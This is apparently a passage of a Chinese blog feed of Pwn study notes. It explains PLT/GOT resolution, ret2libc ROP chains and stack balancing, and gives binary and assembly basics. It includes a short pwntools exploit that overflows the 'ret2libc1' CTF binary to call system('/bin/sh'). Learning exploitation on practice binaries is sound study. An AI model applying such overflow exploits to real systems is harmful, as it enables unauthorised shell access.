<p><code>__dl_runtime_resolve</code> 函数解析 foo 的真正地址并填入 .got.plt 中</p>
<p><img
  src="/6f76a6/2_17.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="588" height="476"
/>
</p>
<p>此后 .got.plt 中保存的是 foo 的真实地址</p>
<p><img
  src="/6f76a6/2_18.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="668" height="493"
/>
</p>
<p>进程第二次调用 foo</p>
<p><img
  src="/6f76a6/2_19.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="900" height="481"
/>
</p>
<p>直接自 .got.plt 跳转到 foo 的真实地址，没有了第一次的解析地址过程</p>
<p><img
  src="/6f76a6/2_20.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="913" height="484"
/>
</p>
<p>流程图如下</p>
<p><img
  src="/6f76a6/2_21.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="800" height="540"
/>
</p>
<p>简而言之，就是第一次去调用函数，先到plt中找表项然后跳转到got（.got.plt）里找真实地址，got里没有就返回到plt，让他自己去解析真实地址，解析完写到got里。第二次调用时，去plt里找表项然后跳转到got表里就可以直接获取真实地址。取地址从plt里取就行了，反正第几次调用都还是要返回真实地址的。</p>
<p>info b查看断点信息</p>
<p>d 1，删除编号为1 的断点。</p>
<p>distance 地址 地址，计算地址间距</p>
<p>backtrace ，查看函数调用栈</p>
<p>return，从函数中出来</p>
<h3 id="ret2libc1">ret2libc1<a class="anchor" href="#ret2libc1">#</a></h3>
<p>ret2syscall是调用系统的汇编指令完成系统调用构造链子，而ret2libc是调用libc里的函数，将这些函数连成链子。</p>
<h4 id="简单rop链">简单rop链<a class="anchor" href="#简单rop链">#</a></h4>
<p>如图rop链在栈内表示图</p>
<p><img
  src="/6f76a6/2_22.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="578" height="471"
/>
</p>
<p>图中函数是从libc里取出的，如system，exit。<code>system</code>参数是<code>&quot;/bin/sh&quot;</code>，返回地址是<code>exit</code>，<code>exit</code>参数是<code>0</code>，返回地址是<code>&quot;/bin/sh&quot;</code>，所以这段链子执行如下代码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">system<span class="o">(</span><span class="s2">&#34;/bin/sh&#34;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">exit<span class="o">(</span>0<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="参数位置">参数位置<a class="anchor" href="#参数位置">#</a></h4>
<p>为什么参数在函数上第二个字长？第一个却是返回地址？</p>
<p>因为父函数在调用子函数的时候，使用call调用，父函数本来就保存子函数的参数，调用时又会将子函数的返回地址也压入栈，所以通常认为，返回地址（包含返回地址）以上是属于父函数的。</p>
<p><img
  src="/6f76a6/2_23.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="705" height="389"
/>
</p>
<p>如图虚线以上认为是父函数，往下是子函数</p>
<p>那子函数是如何找到自己的参数的呢？在上篇说过被调用函数局部变量压入栈，如下图</p>
<p><img
  src="/6f76a6/2_24.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="485" height="584"
/>
</p>
<p><code>Local address</code>即被调函数局部变量，上面是调用函数的栈底，这几步又是如何完成的？</p>
<p>拿上面的代码为例，最开始的栈溢出，溢出到返回地址，在这个示例代码里溢出到system，这个返回操作到system即<code>ret system</code>。此时<code>system</code>被弹到<code>eip</code>寄存器，随后进入<code>system</code>代码。被调函数，第一行往往是<code>push ebp</code>，也就是把<code>ebp</code>压入栈，随后将本地变量压入栈。可是变量是保存在父函数的，根据调用约定，本地变量会向上去寻找参数，也就是父函数里的<code>/bin/sh</code>。调用完，<code>system</code>结束跳到返回地址<code>exit</code>，此时<code>exit</code>同理，往上第二个字长里的数据为参数。</p>
<p><img
  src="/6f76a6/2_25.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="776" height="654"
/>
</p>
<h4 id="栈平衡">栈平衡<a class="anchor" href="#栈平衡">#</a></h4>
<p>实际上，倘若有多个函数连续调用，往上两个字长就不是参数了，可能是函数，如</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">gets
</span></span><span class="line"><span class="ln">3</span><span class="cl">puts
</span></span><span class="line"><span class="ln">4</span><span class="cl">system</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这种是怎么调用呢？若真这样调用，程序会出错，所以需要栈平衡，在每次调用函数后都会有一条<code>pop ret</code>指令，函数被调用后，往上两个找参数，结束了，跳到返回地址也就是<code>pop ret</code>，这条指令会把刚才用的参数<code>pop</code>掉也就是扔掉，然后<code>ret</code>到下一条函数。一直下去，这样的话连续调用多少条函数都没事，这就是栈平衡的链子，通常两个函数就够了，所以大多数都是简化的，下图是完整版</p>
<p><img
  src="/6f76a6/2_26.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="279" height="621"
/>
</p>
<p>一般连续俩函数，用的都是简化的，满足往上两个字长能找到参数就行的那种。</p>
<h4 id="例题-1">例题<a class="anchor" href="#例题-1">#</a></h4>
<p>ret2libc1</p>
<p><img
  src="/6f76a6/2_27.webp"
  alt="checksec"
  class="zoomable"
  loading="lazy"
  decoding="async" width="866" height="98"
/>
</p>
<p><img
  src="/6f76a6/2_28.webp"
  alt="strings"
  class="zoomable"
  loading="lazy"
  decoding="async" width="562" height="185"
/>
</p>
<p><img
  src="/6f76a6/2_29.webp"
  alt="stack"
  class="zoomable"
  loading="lazy"
  decoding="async" width="798" height="608"
/>
</p>
<p><img
  src="/6f76a6/2_30.webp"
  alt="secure"
  class="zoomable"
  loading="lazy"
  decoding="async" width="415" height="268"
/>
</p>
<p>这道题是最简单的ret2libc题，它预先准备了<code>secure</code>函数，这个函数没有实际意义，但是这个函数调用了<code>system</code>函数，这也就意味着可以直接从plt表里获取system函数的真实地址。而且这题的<code>\bin\sh</code>也给了，IDA可以直接看，也可以用pwntools里相应方法获取。</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">process</span><span class="p">(</span><span class="s2">&#34;./ret2libc1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">elf</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./ret2libc1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">system_plt</span><span class="o">=</span><span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s2">&#34;system&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">binsh_addr</span><span class="o">=</span><span class="nb">next</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">flat</span><span class="p">([</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mi">112</span><span class="p">,</span><span class="n">system_plt</span><span class="p">,</span><span class="s2">&#34;AAAA&#34;</span><span class="p">,</span><span class="n">binsh_addr</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>exp有个地方实操时一直无法获取plt的system，警告说是unicorn模块有问题，我安装了也不成，好像是安装方法有问题，后来更新了pwntools，它自动补全了好多包，然后exp就通了。</p>
]]></content:encoded><h:img src="https://h4cker.zip/6f76a6/Pwn%21Pwn%21Pwn%21.webp"/><enclosure url="https://h4cker.zip/6f76a6/Pwn%21Pwn%21Pwn%21.webp"/><category>Pwn</category><category>ret2syscall</category><category>ret2libc</category><category>栈溢出</category></item><item><title>Pwn学习日记-1</title><link>https://h4cker.zip/8beba0/</link><pubDate>Fri, 03 Dec 2021 09:24:42 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/8beba0/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>学Pwn第一天，其实之前学过，不过今天开始认真系统地学一遍，很多基础的东西看exp都不太明白，确实菜，而且Pwn很帅啊，顺便说一下Zikey Vi老师太强了，讲的很详细，实力也很强！</p>
<h3 id="pwn">PWN?<a class="anchor" href="#pwn">#</a></h3>
<h4 id="概述">概述<a class="anchor" href="#概述">#</a></h4>
<ul>
<li>破解、利用成功（程序的二进制漏洞）</li>
<li>攻破（设备、服务器）</li>
<li>控制（设备、服务器）</li>
</ul>
<h4 id="一次简单的hack">一次简单的hack<a class="anchor" href="#一次简单的hack">#</a></h4>
<ul>
<li>exploit	用于攻击的脚本与方案</li>
<li>payload	攻击载荷，是对目标进程劫持控制流的数据</li>
<li>shellcode	调用攻击目标shell的代码</li>
</ul>
<h3 id="二进制基础">二进制基础<a class="anchor" href="#二进制基础">#</a></h3>
<h4 id="程序的编译与链接">程序的编译与链接<a class="anchor" href="#程序的编译与链接">#</a></h4>
<h4 id="从c源代码到可执行文件的生成过程">从C源代码到可执行文件的生成过程<a class="anchor" href="#从c源代码到可执行文件的生成过程">#</a></h4>
<ul>
<li>编译
<ul>
<li>由C语言代码生成汇编代码</li>
</ul>
</li>
<li>汇编
<ul>
<li>由汇编代码生成机器码</li>
</ul>
</li>
<li>链接
<ul>
<li>将多个机器码的目标文件链接成一个可执行文件</li>
</ul>
</li>
</ul>
<p><img
  src="/8beba0/1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="606" height="276"
/>
</p>
<p><img
  src="/8beba0/1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1054" height="231"
/>
</p>
<h4 id="linux下的可执行文件格式elf">Linux下的可执行文件格式ELF<a class="anchor" href="#linux下的可执行文件格式elf">#</a></h4>
<h5 id="什么是可执行文件">什么是可执行文件？<a class="anchor" href="#什么是可执行文件">#</a></h5>
<ul>
<li>广义：文件中的数据是可执行代码的文件
<ul>
<li>.out、.exe、.sh、.py</li>
</ul>
</li>
<li>狭义：文件中的数据是机器码的文件
<ul>
<li>.out、.exe、.dll、.so</li>
</ul>
</li>
</ul>
<h5 id="可执行文件的分类">可执行文件的分类<a class="anchor" href="#可执行文件的分类">#</a></h5>
<ul>
<li>Windows：PE（Portable Executable）
<ul>
<li>可执行程序
<ul>
<li>.exe</li>
</ul>
</li>
<li>动态链接库
<ul>
<li>.dll</li>
</ul>
</li>
<li>静态链接库
<ul>
<li>.lib</li>
</ul>
</li>
</ul>
</li>
<li>Linux：ELF（Executable and Linkable Format）
<ul>
<li>可执行程序
<ul>
<li>.out</li>
</ul>
</li>
<li>动态链接库
<ul>
<li>.so</li>
</ul>
</li>
<li>静态链接库
<ul>
<li>.a</li>
</ul>
</li>
</ul>
</li>
</ul>
<h5 id="elf文件解析">ELF文件解析<a class="anchor" href="#elf文件解析">#</a></h5>
<p><img
  src="/8beba0/1_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1280" height="679"
/>
</p>
<ul>
<li>ELF文件头表（ELF header）
<ul>
<li>记录了ELF文件的组织结构</li>
</ul>
</li>
<li>程序头表/段表（Program header table）
<ul>
<li>告诉系统如何创建进程</li>
<li>生成进程的可执行文件必须拥有此结构</li>
<li>重定位文件不一定需要</li>
</ul>
</li>
<li>节头表（Section header table）
<ul>
<li>记录了ELF文件的节区信息</li>
<li>用于链接的目标文件必须拥有此结构</li>
<li>其它类型目标文件不一定需要</li>
</ul>
</li>
</ul>
<p><img
  src="/8beba0/1_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="566" height="627"
/>
</p>
<h5 id="磁盘中的elf可执行文件与内存中的elf进程内存映像">磁盘中的ELF（可执行文件）与内存中的ELF（进程内存映像）<a class="anchor" href="#磁盘中的elf可执行文件与内存中的elf进程内存映像">#</a></h5>
<p><img
  src="/8beba0/1_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="578" height="400"
/>
</p>
<p><img
  src="/8beba0/1_6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="812" height="477"
/>
</p>
<h4 id="进程虚拟地址空间">进程虚拟地址空间<a class="anchor" href="#进程虚拟地址空间">#</a></h4>
<h5 id="虚拟地址表述">虚拟地址表述<a class="anchor" href="#虚拟地址表述">#</a></h5>
<p><img
  src="/8beba0/1_7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1042" height="573"
/>
</p>
<p>地址以字节编码	1Byte = 8bits，常以16进制表示	0x3c = 0011 1100</p>
<ul>
<li>虚拟内存用户空间每个进程一份</li>
<li>虚拟内存内核空间所有进程共享一份</li>
<li>虚拟内存 mmap 段中的动态链接库仅在物理内存中装载一份</li>
</ul>
<p>因为当程序运行时，会在内存中创建进程，许多个程序也是如此，但是他们都在操作系统上运行的。程序并不会更改系统内核，当它们调用系统代码时，其实是同一份系统内核，所以许多进程共享一份内核，每个进程拥有独立内存空间。</p>
<p><img
  src="/8beba0/1_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1043" height="466"
/>
</p>
<h5 id="段segment与节section">段（segment）与节（section）<a class="anchor" href="#段segment与节section">#</a></h5>
<ul>
<li>代码段（Text segment）包含了代码与只读数据
<ul>
<li>.text 节</li>
<li>.rodata 节</li>
<li>.hash 节</li>
<li>.dynsym 节</li>
<li>.dynstr 节</li>
<li>.plt 节</li>
<li>.rel.got 节</li>
<li>……</li>
</ul>
</li>
<li>数据段（Data segment）包含了可读可写数据
<ul>
<li>.data 节</li>
<li>.dynamic 节</li>
<li>.got 节</li>
<li>.got.plt 节</li>
<li>.bss 节</li>
<li>……</li>
</ul>
</li>
<li>栈段（Stack segment）
<ul>
<li>一个 段 包含多个 节</li>
<li>段视图用于进程的内存区域的 rwx权限划分</li>
<li>节视图用于ELF文件 编译链接时 与 在磁盘上存储时 的文件结构的组织</li>
</ul>
</li>
</ul>
<h5 id="程序数据是如何在内存中组织的">程序数据是如何在内存中组织的<a class="anchor" href="#程序数据是如何在内存中组织的">#</a></h5>
<p><img
  src="/8beba0/1_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1087" height="550"
/>
</p>
<h4 id="程序的装载与进程的执行">程序的装载与进程的执行<a class="anchor" href="#程序的装载与进程的执行">#</a></h4>
<h5 id="大端序与小端序">大端序与小端序<a class="anchor" href="#大端序与小端序">#</a></h5>
<table>
	<thead>
			<tr>
					<th style="text-align: center">小端序</th>
					<th style="text-align: center">大端序</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: center"><img
  src="/8beba0/1_10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="280" height="250"
/>
</td>
					<td style="text-align: center"><img
  src="/8beba0/1_11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="280" height="250"
/>
</td>
			</tr>
			<tr>
					<td style="text-align: center">低地址存放数据低位、高地址存放数据高位</td>
					<td style="text-align: center">低地址存放数据高位、高地址存放数据低位</td>
			</tr>
	</tbody>
</table>
<h5 id="进程的执行过程">进程的执行过程<a class="anchor" href="#进程的执行过程">#</a></h5>
<p><img
  src="/8beba0/1_12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="899" height="447"
/>
</p>
<h5 id="amd64寄存器简述">AMD64寄存器简述<a class="anchor" href="#amd64寄存器简述">#</a></h5>
<p>AMD64寄存器结构</p>
<ul>
<li>rax： 8Bytes</li>
<li>eax：4Bytes</li>
<li>ax：  2Bytes</li>
<li>ah：  1Bytes</li>
<li>al：   1Bytes</li>
</ul>
<p>部分寄存器功能</p>
<ul>
<li>RIP
存放当前执行的指令的地址</li>
<li>RSP
存放当前栈帧的栈顶地址</li>
<li>RBP
存放当前栈帧的栈底地址</li>
<li>RAX
通用寄存器。存放函数返回值</li>
</ul>
<p><img
  src="/8beba0/1_13.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="541" height="610"
/>
</p>
<p>r开头一般都是64位操作系统的寄存器，大小为8，32位的为4</p>
<h5 id="静动链接程序的执行过程">静/动链接程序的执行过程<a class="anchor" href="#静动链接程序的执行过程">#</a></h5>
<table>
	<thead>
			<tr>
					<th style="text-align: center"><img
  src="/8beba0/1_14.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1158" height="486"
/>
</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: center"><img
  src="/8beba0/1_15.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1158" height="486"
/>
</td>
			</tr>
	</tbody>
</table>
<h4 id="x86amd64汇编简述">x86&amp;AMD64汇编简述<a class="anchor" href="#x86amd64汇编简述">#</a></h4>
<h5 id="常用汇编指令">常用汇编指令<a class="anchor" href="#常用汇编指令">#</a></h5>
<p>MOV	LEA	ADD/SUB	PUSH	POP	CMP	JMP	J[Condition]	CALL	LEAVE	RET	……
这里用例子简单介绍几个常用的</p>
<p><strong>MOV</strong></p>
<p>MOV DEST, SRC                ; 把源操作数传送给目标</p>
<blockquote>
<ul>
<li>MOV EAX,1234H				；执行结果（EAX） = 1234H</li>
<li>MOV EBX, EAX</li>
<li>MOV EAX, [00404011H]     ；[ ] 表示取地址内的值</li>
<li>MOV EAX, [ESI]</li>
</ul>
</blockquote>
<p><strong>LEA</strong></p>
<p>LEA REG, SRC                    ; 把源操作数的有效地址送给指定的寄存器</p>
<blockquote>
<ul>
<li>LEA EBX, ASC                    ; 取 ASC 的地址存放至 EBX 寄存器中</li>
<li>LEA EAX, 6[ESI]                 ; 把 ESI+6 单元的32位地址送给 EAX</li>
</ul>
</blockquote>
<p><strong>PUSH</strong></p>
<p>PUSH VALUE                 ; 把目标值压栈，同时SP指针-1字长</p>
<blockquote>
<ul>
<li>PUSH 1234H</li>
<li>PUSH EAX</li>
</ul>
</blockquote>
<p><strong>POP</strong></p>
<p>POP DEST                     ; 将栈顶的值弹出至目的存储位置，同时SP指针+1字长</p>
<blockquote>
<ul>
<li>POP EAX</li>
</ul>
</blockquote>
<p><strong>LEAVE</strong></p>
<blockquote>
<ul>
<li>在函数返回时，恢复父函数栈帧的指令</li>
<li>等效于：
<ul>
<li>MOV ESP, EBP</li>
<li>POP EBP</li>
</ul>
</li>
</ul>
</blockquote>
<p><strong>RET</strong></p>
<blockquote>
<ul>
<li>在函数返回时，控制程序执行流返回父函数的指令</li>
<li>等效于：
<ul>
<li>POP RIP（这条指令实际是不存在的，不能直接向RIP寄存器传送数据）</li>
</ul>
</li>
</ul>
</blockquote>
<h5 id="两种汇编格式">两种汇编格式<a class="anchor" href="#两种汇编格式">#</a></h5>
<table>
	<thead>
			<tr>
					<th>intel</th>
					<th style="text-align: left">AT&amp;T</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>mov  eax, 8</td>
					<td style="text-align: left">movl  $8, %eax</td>
			</tr>
			<tr>
					<td>mov  ebx, 0ffffh</td>
					<td style="text-align: left">movl  $0xffff, %ebx</td>
			</tr>
			<tr>
					<td>int  80h</td>
					<td style="text-align: left">int  $80</td>
			</tr>
			<tr>
					<td>mov  eax, [ecx]</td>
					<td style="text-align: left">movl  (%ecx), %eax</td>
			</tr>
	</tbody>
</table>
<table>
	<thead>
			<tr>
					<th><img
  src="/8beba0/1_16.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="312" height="206"
/>
</th>
					<th><img
  src="/8beba0/1_17.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="309" height="206"
/>
</th>
			</tr>
	</thead>
	<tbody>
	</tbody>
</table>
<h3 id="栈溢出基础">栈溢出基础<a class="anchor" href="#栈溢出基础">#</a></h3>
<h4 id="c语言函数调用栈">C语言函数调用栈<a class="anchor" href="#c语言函数调用栈">#</a></h4>
<ul>
<li>函数调用栈是指程序运行时内存一段连续的区域</li>
<li>用来保存函数运行时的状态信息，包括函数参数与局部变量等</li>
<li>称之为“栈”是因为发生函数调用时，调用函数（caller）的状态被保存在栈内，被调用函数（callee）的状态被压入调用栈的栈顶</li>
<li>在函数调用结束时，栈顶的函数（callee）状态被弹出，栈顶恢复到调用函数（caller）的状态</li>
<li>函数调用栈在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大</li>
</ul>
<p><img
